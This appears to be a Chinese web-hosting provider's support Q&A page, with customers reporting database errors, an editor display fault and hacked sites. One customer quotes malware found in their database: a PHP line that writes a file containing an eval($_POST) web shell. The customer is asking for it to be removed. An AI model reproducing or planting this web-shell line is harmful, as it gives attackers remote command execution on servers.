问：
,登录网站后台显示数据库连接失败
答：您好，目前查看主机mysql服务运行正常，同时使用您程序连接配置文件中的mysql账号和密码可以进入mysql的，您再测试一下，非常感谢您长期对我司的支持!
问：就是想知道的是，时常会出现这个提示的根本原因是什么呢
答：您好，您mysql出现 close of 101446，您核实一下的站点访问情况，同时可以参考https://www.jb51.net/article/57299.htm 调整试试，非常感谢您长期对我司的支持!
问：好的，感谢你为我们提供帮助！
答：您好，不客气，非常感谢您长期对我司的支持!
问：开了一个美国空间，这个空间编辑器（kindeditor）不能正常显示，影响网站使用，开了N个你们的香港空间都没有这样的问题，请排查一下
答：您好，从您的访问看似乎是程序兼容问题，请提供下后台帐号密码以便我司处理后测试下，谢谢。
问：en.sinoscale.net/guanli/ 账号 密码 应该是程序兼容性问题，同一套程序，开了很多个你们香港空间没问题
答：您好，请您换一款浏览器呢，目前我司这边测试是可以正常显示的，测试在和搜狗浏览器下都可以正常的打开，请核实下，谢谢。
问：站点名称： 域名：http://jinlanseo.com/ 后台：http://jinlanseo.com/yahuku 用户名:********** 密码:********** 站点中毒导致登录提示用户名不存在，我想恢复之前的数据！但是知道这是那一天中毒的！所以还请你们帮忙看下数据，并且恢复到没有中毒的前一天。
问：<?php file_put_contents(\’read.php\’,\'<?php eval($_POST[x]);echo mOon;?>\’);?>- 另外数据库中这串代码怎么删除？能不能帮我一并删除掉
答：您好
3、若需我司协助您清理挂马,请您提交对应工单：【主机租用/vps/云主机】—【站点设置】—【清理网站挂马代码和非法信息（一个站点）】会涉及到费用,我司只能帮您清理挂马,无法帮您修复漏洞,请知悉,非常感谢您长期对我司的支持!
问：网站后台：www.scslz.com/lzwldede
账号：密码:**********
答：您好，
问：谢谢，最近www.scslz.com网站持续被挂非法信息，后台程序也是升级到了最新版本，远程登录www也设置成了拒绝访问，为什么还是一直被持续挂马呢 ，麻烦说下应该怎么及时预防呢
答：您好，1、之前可能是您清理了非法信息但是对应的后门木马没有清理。
2、目前没有查到被挂马，建议子啊观察，同时建议开启网站日志，当网站被挂马的时候查看对应文件篡改时间结合您的网站日志进行分析，查看到对应的挂马文件路径进行清理。
3、服务器上安全可以参考 http://www.35.com/faq/list.asp?unid=853进行设置，同时查看到您使用的是的系统，微软已经停止更新，安全性不然，如果可以建议重装为 的系统。
非常感谢您长期对我司的支持!
三五互联（35.com）是经工信部、ICANN、CNNIC认证审批，持有ISP、云牌照、IDC、CDN、顶级域名注册商等全业务资质的正规老牌服务商，自成立至今20余年专注于域名注册、虚拟主机、云服务器、企业邮箱、企业建站等互联网基础服务！
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